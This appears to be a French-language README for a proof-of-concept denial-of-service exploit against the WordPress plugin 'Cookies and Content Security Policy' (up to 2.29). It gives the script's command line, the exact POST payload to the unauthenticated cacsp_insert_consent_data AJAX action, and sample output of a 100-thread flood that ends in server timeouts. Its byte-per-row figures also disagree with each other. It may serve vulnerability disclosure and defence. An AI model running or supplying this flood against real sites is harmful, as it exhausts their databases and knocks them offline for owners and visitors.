
Contrôle d'accès incorrect dans la fonctionnalité de point de terminaison AJAX dans le plugin jonkastonka Cookies and Content Security Policy jusqu'à la version 2.29
Un contrôle d'accès incorrect dans la fonctionnalité de point de terminaison AJAX du plugin Cookies and Content Security Policy de jonkastonka (versions jusqu'à 2.29) permet à des attaquants distants de provoquer un déni de service (épuisement des ressources du serveur de base de données) via des opérations d'écriture illimitées sur le point de terminaison wp_ajax_nopriv_cacsp_insert_consent_data.
La vulnérabilité existe dans la fonction cacsp_insert_consent_data(), exposée via le point de terminaison AJAX de WordPress (wp-admin/admin-ajax.php) sans exigence d'authentification. Le plugin utilise l'action wp_ajax_nopriv_, la rendant accessible aux utilisateurs non authentifiés.
Vecteur d'attaque : Les attaquants distants peuvent envoyer des requêtes POST simultanées illimitées pour submerger le serveur de base de données avec des opérations d'écriture, provoquant l'épuisement du CPU et des entrées/sorties disque.
requestsmatplotlibthreadingUtilisation de base du script PoC :
python payload.py --target <target_url> --threads <number_of_threads>
Par défaut, le nombre de threads est fixé à 100. Vous pouvez spécifier un nombre différent en le fournissant comme second argument.

Target WordPress URL (https://example.com): https://vulnerable-site.com
Number of threads (default 100):
Launching DoS attack with 100 threads...
Press Ctrl+C to stop the attack
[19:41:20] ✓ Status: 200 | Response time: 538.3ms | DB: 0.00MB (1 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 554.51ms | DB: 0.00MB (2 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 522.29ms | DB: 0.00MB (3 rows, 351b/row)
[19:41:20] ✓ Status: 200 | Response time: 498.72ms | DB: 0.00MB (4 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 946.94ms | DB: 0.00MB (5 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 858.41ms | DB: 0.00MB (6 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 922.29ms | DB: 0.00MB (7 rows, 351b/row)
[19:41:21] ✓ Status: 200 | Response time: 991.41ms | DB: 0.00MB (8 rows, 351b/row)
...
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
[19:41:26] ⚠ TIMEOUT - server not responding
L'exploit envoie des requêtes POST à /wp-admin/admin-ajax.php avec :
data = {
'action': 'cacsp_insert_consent_data',
'accepted_cookies': 'necessary,experience,analytics,marketing',
'expires': "9" * 255 # Maximum TINYTEXT length
}
Chaque requête réussie insère une nouvelle ligne dans la base de données contenant :
Résultat : ~89 octets par requête × requêtes illimitées = croissance rapide de la base de données
Ce PoC est uniquement à des fins éducatives. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par l'utilisation de ce code. Obtenez toujours l'autorisation avant de tester un système.